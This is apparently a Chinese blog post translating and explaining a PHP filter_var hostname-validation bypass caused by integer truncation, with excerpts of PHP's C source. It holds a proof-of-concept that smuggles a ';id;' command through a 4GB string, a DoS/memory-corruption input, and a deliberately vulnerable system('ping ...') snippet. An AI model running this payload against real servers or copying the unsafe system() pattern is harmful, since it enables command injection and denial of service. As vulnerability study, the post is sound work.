PHP filter_var 函数绕过
PHP filter_var 函数绕过
今天在日报看到了有关PHP函数绕过的文章就去学习了一下,但是有点尴尬的是文章是纯英文的直接翻译有很多地方会导致理解出问题,所以最后硬着头皮通过看原文学习, 所以这也可以说是一个简单的翻译文章吧, 原文见PHP filter_var shenanigans 。
关于filter_var函数
在官方文档中的介绍:
大概就是可以使用php内置的一些过滤器对字符串进行检验, 起初我看官方文档和一些代码示例也还是挺懵的, 不过了解了第二个filter
参数之后对这个函数的了解就简单很多了, 第二个参数就是指定一个内置的过滤器, 过滤器 ID 可以是 ID 名称(比如 FILTER_VALIDATE_EMAIL)或 ID 号(比如 274), 如果没设置的话默认使用字符串过滤器FILTER_SANITIZE_STRING。查看文档可以看到有以下过滤器:
- Validate filters 验证过滤器
- Sanitize filters 消毒过滤器
- Other filters 其它过滤器
- Filter flags 过滤标志
在filter
中我们一般是使用Sanitize filters ,以下是一部分内容可供参考(见名知意了已经)
第三个参数options
是一个可选项,用于规定一个包含标志/选项的关联数组或者一个单一的标志/选项。检查每个过滤器可能的标志和选项。
POC
在这里直接给出一个作者的POC吧:
<?php
// normal usage
var_dump(filter_var("example.com", FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME));
// filter bypass
var_dump(filter_var("5;id;" . str_repeat("a", 4294967286) . "a.com", FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME));
// DoS/Memory corruption
var_dump(filter_var(str_repeat("a", 2294967286), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME));
?>
关于作者示例中的filter_var
函数的参数我找了以下官方文档说明如下:
they must start with an alphanumeric character and contain only alphanumerics or hyphens
所以我们输入的字符串必须以字母数字字符开头,并且仅包含字母数字或连字符, 但是我们可以看到, 作者的POC当中包含了一个;
字符但是会发现输出的结果为True, 这就是绕过的效果了。
原理探究
假设我们有以下代码,它将一些用户输入传递给 filter_var()
并使用 FILTER_VALIDATE_DOMAIN
或者 FILTER FLAG HOSTNAME
。 这增加了根据每个主机原理验证主机名的功能(这意味着它们必须以字母数字字符开头,并且在整个长度中必须仅包含字母数字或连字符)。 成功完成此检查后,用户输入将在系统命令中使用(因此可能会引入命令注入漏洞)。 生成的代码将类似于以下内容。
<?php
$userinput = "YOUR_USER_INPUT";
$command = "ping -c5 ";
if (filter_var($userinput, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME))
{
system($command . $userinput, $retval);
}
?>
通常,在这种情况下不可能触发此命令注入。 因为我们用户的输入只能包含字母数字字符或连字符,所以在这种情况下是完全安全的。
通过底层代码详细检查它以了解 FILTER_VALIDATE_DOMAIN
功能与 FILTER_FLAG_HOSTNAME
。
接下来看一下filter_var函数的工作源码:
void php_filter_validate_domain(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */
{
if (!_php_filter_validate_domain(Z_STRVAL_P(value), Z_STRLEN_P(value), flags)) {
RETURN_VALIDATION_FAILED
}
}
/* }}} */
本质上,它所做的是获取指向我们的值的指针 $userinput
变量并将其作为第一个参数传递给 _php_filter_validate_domain
,以及传递的输出 strlen($userinput)
作为同一函数的第二个参数。 需要注意的是,函数 strlen()
在这种情况下返回一个无符号整数。
现在让我们看一下函数签名 _php_filter_validate_domain
static int _php_filter_validate_domain(char * domain, int len, zend_long flags) /* {{{ */
{
char *e, *s, *t;
size_t l;
int hostname = flags & FILTER_FLAG_HOSTNAME;
unsigned char i = 1;
s = domain;
l = len;
e = domain + l;
t = e - 1;
我们先要知道:
- size_t是无符号整数, size_t在32位系统上定义为 unsigned int,也就是32位无符号整型。在64位系统上定义为 unsigned long ,也就是64位无符号整形。
- int 类型在32和64位系统中均为32位4字节大小。
可以看到_php_filter_validate_domain
函数参数len
为int
类型, 而下面的变量l
为size_t
类型, 在后面int类型的len被赋值给了size_t类型的l, 但是需要注意的是int是有符号整数, 表示范围为-2147483648到
2147483648。
2^32=4294967296
, 所以我们使len=4294967296, 然后这个值被赋值给l
, 最后会导致len
和l
均变为0。
/* Ignore trailing dot */
if (*t == '.') {
e = t;
l--;
}
/* The total length cannot exceed 253 characters (final dot not included) */
if (l > 253) {
return 0;
}
这里有一段话可以参考原文理解, 意思是按照上面代码我们可以看到, 如果t的首字符是.
那么就会对e执行赋值操作并且l–,
这会对后面的绕过造成困难,所以我们不这样做。然后下面的if判断因为l
被赋值为0, 所以不会执行return。
/* First char must be alphanumeric */
if(*s == '.' || (hostname && !isalnum((int)*(unsigned char *)s))) {
return 0;
}
while (s < e) {
if (*s == '.') {
/* The first and the last character of a label must be alphanumeric */
if (*(s + 1) == '.' || (hostname && (!isalnum((int)*(unsigned char *)(s - 1)) || !isalnum((int)*(unsigned char *)(s + 1))))) {
return 0;
}
/* Reset label length counter */
i = 1;
} else {
if (i > 63 || (hostname && *s != '-' && !isalnum((int)*(unsigned char *)s))) {
return 0;
}
i++;
}
s++;
}
return 1;
}
上面显示的代码是检查主机名是否仅包含字母数字字符或连字符(而不是其他字符)的实际代码。
正如我们所看到的,这仅在以下情况下才会进行检验: s
小于 e
。
简单来说:如果使用 PHP 的 filter_var
函数和传递给函数的值太长,和参数 l
然后包装为零,将不执行检查。 这会导致主机名检查被完全绕过。
但是因为这个方法为了需要满足让字符串长度为4294967296(len = 4294967296 = 0
)需要的数据包必须刚好为4GB大小,这是大量数据,可能由于某些 Web 服务器和负载平衡器的配置而无法实现。
参考文章:
https://pwning.systems/posts/php_filter_var_shenanigans/